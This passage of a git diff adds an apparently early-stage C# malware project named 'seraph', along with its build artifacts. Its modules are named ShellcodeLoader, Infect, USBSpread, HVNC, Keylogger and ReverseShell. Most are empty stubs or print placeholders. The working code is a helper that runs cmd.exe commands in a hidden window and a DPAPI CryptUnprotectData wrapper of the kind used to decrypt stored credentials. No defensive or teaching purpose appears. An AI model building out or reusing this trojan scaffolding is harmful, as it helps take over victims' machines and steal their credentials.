+ }
+
+ foreach (var thread in threads)
+ {
+ thread.Join();
+ }
+
+ threads.Clear();
+ }
+
+ public abstract class Seraphh
+ {
+ public abstract void Run();
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/ShellcodeLoader.cs b/seraph/Seraph.Components/ShellcodeLoader.cs
new file mode 100644
index 0000000..427e784
--- /dev/null
+++ b/seraph/Seraph.Components/ShellcodeLoader.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components;
+
+public class ShellcodeLoader : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("ShellcodeLoader Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Snapshot.cs b/seraph/Seraph.Components/Snapshot.cs
new file mode 100644
index 0000000..6cf5da8
--- /dev/null
+++ b/seraph/Seraph.Components/Snapshot.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components;
+
+public class Snapshot : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Snapshot Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Infect/Infect.cs b/seraph/Seraph.Infect/Infect.cs
new file mode 100644
index 0000000..834b27b
--- /dev/null
+++ b/seraph/Seraph.Infect/Infect.cs
@@ -0,0 +1,14 @@
+namespace seraph.Seraph.Infect;
+
+public class Infect : Service
+{
+ public override void Initialize()
+ {
+ Console.WriteLine("Infection Initialized.");
+ }
+
+ public override void Execute()
+ {
+ Console.WriteLine("Infection Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Infect/SystemSpread.cs b/seraph/Seraph.Infect/SystemSpread.cs
new file mode 100644
index 0000000..b45a8e6
--- /dev/null
+++ b/seraph/Seraph.Infect/SystemSpread.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Infect;
+
+public class SystemSpread
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Infect/USBSpread.cs b/seraph/Seraph.Infect/USBSpread.cs
new file mode 100644
index 0000000..635e7ef
--- /dev/null
+++ b/seraph/Seraph.Infect/USBSpread.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Infect;
+
+public class USBSpread
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Remote/Download.cs b/seraph/Seraph.Remote/Download.cs
new file mode 100644
index 0000000..71358f0
--- /dev/null
+++ b/seraph/Seraph.Remote/Download.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Remote;
+
+public class Download
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Remote/HVNC.cs b/seraph/Seraph.Remote/HVNC.cs
new file mode 100644
index 0000000..6a74764
--- /dev/null
+++ b/seraph/Seraph.Remote/HVNC.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Remote;
+
+public class HVNC
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Remote/Keylogger.cs b/seraph/Seraph.Remote/Keylogger.cs
new file mode 100644
index 0000000..5282f0a
--- /dev/null
+++ b/seraph/Seraph.Remote/Keylogger.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Remote;
+
+public class Keylogger
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Remote/Remote.cs b/seraph/Seraph.Remote/Remote.cs
new file mode 100644
index 0000000..864caa8
--- /dev/null
+++ b/seraph/Seraph.Remote/Remote.cs
@@ -0,0 +1,14 @@
+namespace seraph.Seraph.Remote;
+
+public class Remote : Service
+{
+ public override void Initialize()
+ {
+ Console.WriteLine("Remote Daemon Initialized.");
+ }
+
+ public override void Execute()
+ {
+ Console.WriteLine("Remote Daemon Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Remote/ReverseShell.cs b/seraph/Seraph.Remote/ReverseShell.cs
new file mode 100644
index 0000000..1177bf9
--- /dev/null
+++ b/seraph/Seraph.Remote/ReverseShell.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Remote;
+
+public class ReverseShell
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Remote/TaskManager.cs b/seraph/Seraph.Remote/TaskManager.cs
new file mode 100644
index 0000000..7aa0af6
--- /dev/null
+++ b/seraph/Seraph.Remote/TaskManager.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Remote;
+
+public class TaskManager
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Remote/Upload.cs b/seraph/Seraph.Remote/Upload.cs
new file mode 100644
index 0000000..1bfe135
--- /dev/null
+++ b/seraph/Seraph.Remote/Upload.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Remote;
+
+public class Upload
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Utility/Utils.cs b/seraph/Seraph.Utility/Utils.cs
new file mode 100644
index 0000000..ea379aa
--- /dev/null
+++ b/seraph/Seraph.Utility/Utils.cs
@@ -0,0 +1,42 @@
+namespace seraph.Seraph.Utility;
+
+using System.Security.Principal;
+using System.Runtime.InteropServices;
+using System.Diagnostics;
+
+public class Utils
+{
+ public static string lAppdata = Environment.GetEnvironmentVariable("LOCALAPPDATA");
+ public static string Appdata = Environment.GetEnvironmentVariable("APPDATA");
+
+ public static bool IsRunningAsAdmin()
+ {
+ WindowsIdentity identity = WindowsIdentity.GetCurrent();
+ WindowsPrincipal principal = new WindowsPrincipal(identity);
+
+ return principal.IsInRole(WindowsBuiltInRole.Administrator);
+ }
+
+ public static bool IsWindows()
+ {
+ return RuntimeInformation.IsOSPlatform(OSPlatform.Windows);
+ }
+
+ public static string ShellExecute(string command)
+ {
+ using var process = new Process
+ {
+ StartInfo = new ProcessStartInfo
+ {
+ FileName = "cmd.exe",
+ Arguments = $"/c {command}",
+ RedirectStandardOutput = true,
+ UseShellExecute = false,
+ CreateNoWindow = true
+ }
+ };
+
+ process.Start();
+ return process.StandardOutput.ReadToEnd();
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Utility/crypt32.cs b/seraph/Seraph.Utility/crypt32.cs
new file mode 100644
index 0000000..b5cf028
--- /dev/null
+++ b/seraph/Seraph.Utility/crypt32.cs
@@ -0,0 +1,79 @@
+namespace seraph.Seraph.Utility;
+
+using System.Runtime.InteropServices;
+using System.Text;
+using System;
+
+public static class Crypt32Wrapper
+{
+ [DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+ private static extern bool CryptUnprotectData(
+ ref DATA_BLOB pDataIn,
+ out IntPtr ppszDataDescr,
+ IntPtr pOptionalEntropy,
+ IntPtr pvReserved,
+ IntPtr pPromptStruct,
+ int dwFlags,
+ out DATA_BLOB pDataOut);
+
+ [StructLayout(LayoutKind.Sequential)]
+ private struct DATA_BLOB
+ {
+ public int cbData;
+ public IntPtr pbData;
+ }
+
+ private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
+
+ public static string Decrypt(byte[] encryptedData)
+ {
+ if (encryptedData == null || encryptedData.Length == 0)
+ {
+ throw new ArgumentException("Encrypted data cannot be null or empty.");
+ }
+
+ var inBlob = new DATA_BLOB
+ {
+ cbData = encryptedData.Length,
+ pbData = Marshal.AllocHGlobal(encryptedData.Length)
+ };
+ Marshal.Copy(encryptedData, 0, inBlob.pbData, encryptedData.Length);
+
+ DATA_BLOB outBlob = new DATA_BLOB();
+ IntPtr descriptionPtr = IntPtr.Zero;
+
+ try
+ {
+ bool success = CryptUnprotectData(ref inBlob, out descriptionPtr, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
+ CRYPTPROTECT_UI_FORBIDDEN, out outBlob);
+
+ if (!success)
+ {
+ int errorCode = Marshal.GetLastWin32Error();
+ throw new InvalidOperationException($"Decryption failed with error code: {errorCode}");
+ }
+
+ if (outBlob.pbData == IntPtr.Zero)
+ {
+ throw new InvalidOperationException("Decryption failed: outBlob.pbData is null.");
+ }
+
+ byte[] decryptedData = new byte[outBlob.cbData];
+ Marshal.Copy(outBlob.pbData, decryptedData, 0, outBlob.cbData);
+ return Encoding.UTF8.GetString(decryptedData);
+ }
+ finally
+ {
+ Marshal.FreeHGlobal(inBlob.pbData);
+ if (outBlob.pbData != IntPtr.Zero)
+ {
+ Marshal.FreeHGlobal(outBlob.pbData);
+ }
+
+ if (descriptionPtr != IntPtr.Zero)
+ {
+ Marshal.FreeHGlobal(descriptionPtr);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/Service.cs b/seraph/Service.cs
new file mode 100644
index 0000000..64cd34a
--- /dev/null
+++ b/seraph/Service.cs
@@ -0,0 +1,8 @@
+namespace seraph
+{
+ public abstract class Service
+ {
+ public abstract void Execute();
+ public abstract void Initialize();
+ }
+}
\ No newline at end of file
diff --git a/seraph/bin/Debug/net8.0/seraph.deps.json b/seraph/bin/Debug/net8.0/seraph.deps.json
new file mode 100644
index 0000000..c0afa2b
--- /dev/null
+++ b/seraph/bin/Debug/net8.0/seraph.deps.json
@@ -0,0 +1,23 @@
+{
+ "runtimeTarget": {
+ "name": ".NETCoreApp,Version=v8.0",
+ "signature": ""
+ },
+ "compilationOptions": {},
+ "targets": {
+ ".NETCoreApp,Version=v8.0": {
+ "seraph/1.0.0": {
+ "runtime": {
+ "seraph.dll": {}
+ }
+ }
+ }
+ },
+ "libraries": {
+ "seraph/1.0.0": {
+ "type": "project",
+ "serviceable": false,
+ "sha512": ""
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/bin/Debug/net8.0/seraph.dll b/seraph/bin/Debug/net8.0/seraph.dll
new file mode 100644
index 0000000..5306e4d
Binary files /dev/null and b/seraph/bin/Debug/net8.0/seraph.dll differ
diff --git a/seraph/bin/Debug/net8.0/seraph.exe b/seraph/bin/Debug/net8.0/seraph.exe
new file mode 100644
index 0000000..05a3185
Binary files /dev/null and b/seraph/bin/Debug/net8.0/seraph.exe differ
diff --git a/seraph/bin/Debug/net8.0/seraph.pdb b/seraph/bin/Debug/net8.0/seraph.pdb
new file mode 100644
index 0000000..c188673
Binary files /dev/null and b/seraph/bin/Debug/net8.0/seraph.pdb differ
diff --git a/seraph/bin/Debug/net8.0/seraph.runtimeconfig.json b/seraph/bin/Debug/net8.0/seraph.runtimeconfig.json
new file mode 100644
index 0000000..becfaea
--- /dev/null
+++ b/seraph/bin/Debug/net8.0/seraph.runtimeconfig.json
@@ -0,0 +1,12 @@
+{
+ "runtimeOptions": {
+ "tfm": "net8.0",
+ "framework": {
+ "name": "Microsoft.NETCore.App",
+ "version": "8.0.0"
+ },
+ "configProperties": {
+ "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/bin/Release/net8.0/seraph.deps.json b/seraph/bin/Release/net8.0/seraph.deps.json
new file mode 100644
index 0000000..c0afa2b
--- /dev/null
+++ b/seraph/bin/Release/net8.0/seraph.deps.json
@@ -0,0 +1,23 @@
+{
+ "runtimeTarget": {
+ "name": ".NETCoreApp,Version=v8.0",
+ "signature": ""
+ },
+ "compilationOptions": {},
+ "targets": {
+ ".NETCoreApp,Version=v8.0": {
+ "seraph/1.0.0": {
+ "runtime": {
+ "seraph.dll": {}
+ }
+ }
+ }
+ },
+ "libraries": {
+ "seraph/1.0.0": {
+ "type": "project",
+ "serviceable": false,
+ "sha512": ""
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/bin/Release/net8.0/seraph.dll b/seraph/bin/Release/net8.0/seraph.dll
new file mode 100644
index 0000000..bbe0563
Binary files /dev/null and b/seraph/bin/Release/net8.0/seraph.dll differ
diff --git a/seraph/bin/Release/net8.0/seraph.exe b/seraph/bin/Release/net8.0/seraph.exe
new file mode 100644
index 0000000..05a3185
Binary files /dev/null and b/seraph/bin/Release/net8.0/seraph.exe differ
diff --git a/seraph/bin/Release/net8.0/seraph.pdb b/seraph/bin/Release/net8.0/seraph.pdb
new file mode 100644
index 0000000..ea1067e
Binary files /dev/null and b/seraph/bin/Release/net8.0/seraph.pdb differ
diff --git a/seraph/bin/Release/net8.0/seraph.runtimeconfig.json b/seraph/bin/Release/net8.0/seraph.runtimeconfig.json
new file mode 100644
index 0000000..d784515
--- /dev/null
+++ b/seraph/bin/Release/net8.0/seraph.runtimeconfig.json
@@ -0,0 +1,13 @@
+{
+ "runtimeOptions": {
+ "tfm": "net8.0",
+ "framework": {
+ "name": "Microsoft.NETCore.App",
+ "version": "8.0.0"
+ },
+ "configProperties": {
+ "System.Reflection.Metadata.MetadataUpdater.IsSupported": false,
+ "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs b/seraph/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs
new file mode 100644
index 0000000..2217181
--- /dev/null
+++ b/seraph/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+//
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")]
diff --git a/seraph/obj/Debug/net8.0/apphost.exe b/seraph/obj/Debug/net8.0/apphost.exe
new file mode 100644
index 0000000..05a3185
Binary files /dev/null and b/seraph/obj/Debug/net8.0/apphost.exe differ
diff --git a/seraph/obj/Debug/net8.0/ref/seraph.dll b/seraph/obj/Debug/net8.0/ref/seraph.dll
new file mode 100644
index 0000000..cba2c45
Binary files /dev/null and b/seraph/obj/Debug/net8.0/ref/seraph.dll differ
diff --git a/seraph/obj/Debug/net8.0/refint/seraph.dll b/seraph/obj/Debug/net8.0/refint/seraph.dll
new file mode 100644
index 0000000..cba2c45
Binary files /dev/null and b/seraph/obj/Debug/net8.0/refint/seraph.dll differ
diff --git a/seraph/obj/Debug/net8.0/seraph.AssemblyInfo.cs b/seraph/obj/Debug/net8.0/seraph.AssemblyInfo.cs
new file mode 100644
index 0000000..c018584
--- /dev/null
+++ b/seraph/obj/Debug/net8.0/seraph.AssemblyInfo.cs
@@ -0,0 +1,22 @@
+//------------------------------------------------------------------------------
+//
+// This code was generated by a tool.
+//
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
+//
+//------------------------------------------------------------------------------
+
+using System;
+using System.Reflection;
+
+[assembly: System.Reflection.AssemblyCompanyAttribute("seraph")]
+[assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
+[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")]
+[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")]
+[assembly: System.Reflection.AssemblyProductAttribute("seraph")]
+[assembly: System.Reflection.AssemblyTitleAttribute("seraph")]
+[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")]
+
+// Von der MSBuild WriteCodeFragment-Klasse generiert.
+
diff --git a/seraph/obj/Debug/net8.0/seraph.AssemblyInfoInputs.cache b/seraph/obj/Debug/net8.0/seraph.AssemblyInfoInputs.cache
new file mode 100644
index 0000000..aae7da5
--- /dev/null
+++ b/seraph/obj/Debug/net8.0/seraph.AssemblyInfoInputs.cache
@@ -0,0 +1 @@
+d75807a5f89bff94c6c165411057ab21e37b99c044d409180b33a0fbc81d8189
diff --git a/seraph/obj/Debug/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig b/seraph/obj/Debug/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig
new file mode 100644
index 0000000..ee57394
--- /dev/null
+++ b/seraph/obj/Debug/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig
@@ -0,0 +1,13 @@
+is_global = true
+build_property.TargetFramework = net8.0
+build_property.TargetPlatformMinVersion =
+build_property.UsingMicrosoftNETSdkWeb =
+build_property.ProjectTypeGuids =
+build_property.InvariantGlobalization =
+build_property.PlatformNeutralAssembly =
+build_property.EnforceExtendedAnalyzerRules =
+build_property._SupportedPlatformList = Linux,macOS,Windows
+build_property.RootNamespace = seraph
+build_property.ProjectDir = C:\Users\gum\RiderProjects\seraph\seraph\
+build_property.EnableComHosting =
+build_property.EnableGeneratedComInterfaceComImportInterop =
diff --git a/seraph/obj/Debug/net8.0/seraph.GlobalUsings.g.cs b/seraph/obj/Debug/net8.0/seraph.GlobalUsings.g.cs
new file mode 100644
index 0000000..8578f3d
--- /dev/null
+++ b/seraph/obj/Debug/net8.0/seraph.GlobalUsings.g.cs
@@ -0,0 +1,8 @@
+//
+global using global::System;
+global using global::System.Collections.Generic;
+global using global::System.IO;
+global using global::System.Linq;
+global using global::System.Net.Http;
+global using global::System.Threading;
+global using global::System.Threading.Tasks;
diff --git a/seraph/obj/Debug/net8.0/seraph.assets.cache b/seraph/obj/Debug/net8.0/seraph.assets.cache
new file mode 100644
index 0000000..66a5f09
Binary files /dev/null and b/seraph/obj/Debug/net8.0/seraph.assets.cache differ
diff --git a/seraph/obj/Debug/net8.0/seraph.csproj.CoreCompileInputs.cache b/seraph/obj/Debug/net8.0/seraph.csproj.CoreCompileInputs.cache
new file mode 100644
index 0000000..9ff79bb
--- /dev/null
+++ b/seraph/obj/Debug/net8.0/seraph.csproj.CoreCompileInputs.cache
@@ -0,0 +1 @@
+29066902f8ac4d5ccb2d7c04a1acfb2d05d462a1a582dbb8ece030516f68312d
diff --git a/seraph/obj/Debug/net8.0/seraph.csproj.FileListAbsolute.txt b/seraph/obj/Debug/net8.0/seraph.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..1082b11
--- /dev/null
+++ b/seraph/obj/Debug/net8.0/seraph.csproj.FileListAbsolute.txt
@@ -0,0 +1,14 @@
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.exe
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.deps.json
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.runtimeconfig.json
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.dll
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.pdb
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.GeneratedMSBuildEditorConfig.editorconfig
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.AssemblyInfoInputs.cache
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.AssemblyInfo.cs
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.csproj.CoreCompileInputs.cache
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.dll
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\refint\seraph.dll
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.pdb
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.genruntimeconfig.cache
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\ref\seraph.dll
diff --git a/seraph/obj/Debug/net8.0/seraph.dll b/seraph/obj/Debug/net8.0/seraph.dll
new file mode 100644
index 0000000..5306e4d
Binary files /dev/null and b/seraph/obj/Debug/net8.0/seraph.dll differ
diff --git a/seraph/obj/Debug/net8.0/seraph.genruntimeconfig.cache b/seraph/obj/Debug/net8.0/seraph.genruntimeconfig.cache
new file mode 100644
index 0000000..3c7c813
--- /dev/null
+++ b/seraph/obj/Debug/net8.0/seraph.genruntimeconfig.cache
@@ -0,0 +1 @@
+47cbad650cd263fef74dbfacd26269093fc783aa03658a4013f529ae7d9247b7
diff --git a/seraph/obj/Debug/net8.0/seraph.pdb b/seraph/obj/Debug/net8.0/seraph.pdb
new file mode 100644
index 0000000..c188673
Binary files /dev/null and b/seraph/obj/Debug/net8.0/seraph.pdb differ
diff --git a/seraph/obj/Release/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs b/seraph/obj/Release/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs
new file mode 100644
index 0000000..2217181
--- /dev/null
+++ b/seraph/obj/Release/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+//
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")]
diff --git a/seraph/obj/Release/net8.0/apphost.exe b/seraph/obj/Release/net8.0/apphost.exe
new file mode 100644
index 0000000..05a3185
Binary files /dev/null and b/seraph/obj/Release/net8.0/apphost.exe differ
diff --git a/seraph/obj/Release/net8.0/ref/seraph.dll b/seraph/obj/Release/net8.0/ref/seraph.dll
new file mode 100644
index 0000000..499f347
Binary files /dev/null and b/seraph/obj/Release/net8.0/ref/seraph.dll differ
diff --git a/seraph/obj/Release/net8.0/refint/seraph.dll b/seraph/obj/Release/net8.0/refint/seraph.dll
new file mode 100644
index 0000000..499f347
Binary files /dev/null and b/seraph/obj/Release/net8.0/refint/seraph.dll differ
diff --git a/seraph/obj/Release/net8.0/seraph.AssemblyInfo.cs b/seraph/obj/Release/net8.0/seraph.AssemblyInfo.cs
new file mode 100644
index 0000000..6b31c4a
--- /dev/null
+++ b/seraph/obj/Release/net8.0/seraph.AssemblyInfo.cs
@@ -0,0 +1,22 @@
+//------------------------------------------------------------------------------
+//
+// This code was generated by a tool.
+//
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
+//
+//------------------------------------------------------------------------------
+
+using System;
+using System.Reflection;
+
+[assembly: System.Reflection.AssemblyCompanyAttribute("seraph")]
+[assembly: System.Reflection.AssemblyConfigurationAttribute("Release")]
+[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")]
+[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")]
+[assembly: System.Reflection.AssemblyProductAttribute("seraph")]
+[assembly: System.Reflection.AssemblyTitleAttribute("seraph")]
+[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")]
+
+// Von der MSBuild WriteCodeFragment-Klasse generiert.
+
diff --git a/seraph/obj/Release/net8.0/seraph.AssemblyInfoInputs.cache b/seraph/obj/Release/net8.0/seraph.AssemblyInfoInputs.cache
new file mode 100644
index 0000000..2281c52
--- /dev/null
+++ b/seraph/obj/Release/net8.0/seraph.AssemblyInfoInputs.cache
@@ -0,0 +1 @@
+7873b96a14a886c363902eb95bd776eb4df56af23c9a5840eb66db64caf2e040
diff --git a/seraph/obj/Release/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig b/seraph/obj/Release/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig
new file mode 100644
index 0000000..ee57394
--- /dev/null
+++ b/seraph/obj/Release/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig
@@ -0,0 +1,13 @@
+is_global = true
+build_property.TargetFramework = net8.0
+build_property.TargetPlatformMinVersion =
+build_property.UsingMicrosoftNETSdkWeb =
+build_property.ProjectTypeGuids =
+build_property.InvariantGlobalization =
+build_property.PlatformNeutralAssembly =
+build_property.EnforceExtendedAnalyzerRules =
+build_property._SupportedPlatformList = Linux,macOS,Windows
+build_property.RootNamespace = seraph
+build_property.ProjectDir = C:\Users\gum\RiderProjects\seraph\seraph\
+build_property.EnableComHosting =
+build_property.EnableGeneratedComInterfaceComImportInterop =
diff --git a/seraph/obj/Release/net8.0/seraph.GlobalUsings.g.cs b/seraph/obj/Release/net8.0/seraph.GlobalUsings.g.cs
new file mode 100644
index 0000000..8578f3d
--- /dev/null
+++ b/seraph/obj/Release/net8.0/seraph.GlobalUsings.g.cs
@@ -0,0 +1,8 @@
+//
+global using global::System;
+global using global::System.Collections.Generic;
+global using global::System.IO;
+global using global::System.Linq;
+global using global::System.Net.Http;
+global using global::System.Threading;
+global using global::System.Threading.Tasks;
diff --git a/seraph/obj/Release/net8.0/seraph.assets.cache b/seraph/obj/Release/net8.0/seraph.assets.cache
new file mode 100644
index 0000000..5953513
Binary files /dev/null and b/seraph/obj/Release/net8.0/seraph.assets.cache differ
diff --git a/seraph/obj/Release/net8.0/seraph.csproj.CoreCompileInputs.cache b/seraph/obj/Release/net8.0/seraph.csproj.CoreCompileInputs.cache
new file mode 100644
index 0000000..84603a9
--- /dev/null
+++ b/seraph/obj/Release/net8.0/seraph.csproj.CoreCompileInputs.cache
@@ -0,0 +1 @@
+a248834d9d5241c9ac2f983b6be8e32cce8bb549b16973f7117fbdfe494786d8
diff --git a/seraph/obj/Release/net8.0/seraph.csproj.FileListAbsolute.txt b/seraph/obj/Release/net8.0/seraph.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..ae66501
--- /dev/null
+++ b/seraph/obj/Release/net8.0/seraph.csproj.FileListAbsolute.txt
@@ -0,0 +1,14 @@
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.exe
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.deps.json
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.runtimeconfig.json
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.dll
+C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.pdb
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.GeneratedMSBuildEditorConfig.editorconfig
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.AssemblyInfoInputs.cache
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.AssemblyInfo.cs
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.csproj.CoreCompileInputs.cache
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.dll
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\refint\seraph.dll
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.pdb
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.genruntimeconfig.cache
+C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\ref\seraph.dll
diff --git a/seraph/obj/Release/net8.0/seraph.dll b/seraph/obj/Release/net8.0/seraph.dll
new file mode 100644
index 0000000..bbe0563
Binary files /dev/null and b/seraph/obj/Release/net8.0/seraph.dll differ
diff --git a/seraph/obj/Release/net8.0/seraph.genruntimeconfig.cache b/seraph/obj/Release/net8.0/seraph.genruntimeconfig.cache
new file mode 100644
index 0000000..d3c68ed
--- /dev/null
+++ b/seraph/obj/Release/net8.0/seraph.genruntimeconfig.cache
@@ -0,0 +1 @@
+ea199540467a6e4ef92d71a5333af19225a609ff58dfc9b821b595ad6d2e07db
diff --git a/seraph/obj/Release/net8.0/seraph.pdb b/seraph/obj/Release/net8.0/seraph.pdb
new file mode 100644
index 0000000..ea1067e
Binary files /dev/null and b/seraph/obj/Release/net8.0/seraph.pdb differ
diff --git a/seraph/obj/project.assets.json b/seraph/obj/project.assets.json
new file mode 100644
index 0000000..bee82f1
--- /dev/null
+++ b/seraph/obj/project.assets.json
@@ -0,0 +1,68 @@
+{
+ "version": 3,
+ "targets": {
+ "net8.0": {}
+ },
+ "libraries": {},
+ "projectFileDependencyGroups": {
+ "net8.0": []
+ },
+ "packageFolders": {
+ "C:\\Users\\gum\\.nuget\\packages\\": {}
+ },
+ "project": {
+ "version": "1.0.0",
+ "restore": {
+ "projectUniqueName": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
+ "projectName": "seraph",
+ "projectPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
+ "packagesPath": "C:\\Users\\gum\\.nuget\\packages\\",
+ "outputPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\",
+ "projectStyle": "PackageReference",
+ "configFilePaths": [
+ "C:\\Users\\gum\\AppData\\Roaming\\NuGet\\NuGet.Config",
+ "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config"
+ ],
+ "originalTargetFrameworks": [
+ "net8.0"
+ ],
+ "sources": {
+ "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {},
+ "https://api.nuget.org/v3/index.json": {}
+ },
+ "frameworks": {
+ "net8.0": {
+ "targetAlias": "net8.0",
+ "projectReferences": {}
+ }
+ },
+ "warningProperties": {
+ "warnAsError": [
+ "NU1605"
+ ]
+ }
+ },
+ "frameworks": {
+ "net8.0": {
+ "targetAlias": "net8.0",
+ "imports": [
+ "net461",
+ "net462",
+ "net47",
+ "net471",
+ "net472",
+ "net48",
+ "net481"
+ ],
+ "assetTargetFallback": true,
+ "warn": true,
+ "frameworkReferences": {
+ "Microsoft.NETCore.App": {
+ "privateAssets": "all"
+ }
+ },
+ "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json"
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/obj/project.nuget.cache b/seraph/obj/project.nuget.cache
new file mode 100644
index 0000000..50616a6
--- /dev/null
+++ b/seraph/obj/project.nuget.cache
@@ -0,0 +1,8 @@
+{
+ "version": 2,
+ "dgSpecHash": "gKxWVmdBhy077f7Z/KiraGIHQKOBljC+34PgfrF/aeH0SFyifJXKFp/Gy2Q+5RKaA0mZtYKiIxF9wA+VMIPa3g==",
+ "success": true,
+ "projectFilePath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
+ "expectedPackageFiles": [],
+ "logs": []
+}
\ No newline at end of file
diff --git a/seraph/obj/project.packagespec.json b/seraph/obj/project.packagespec.json
new file mode 100644
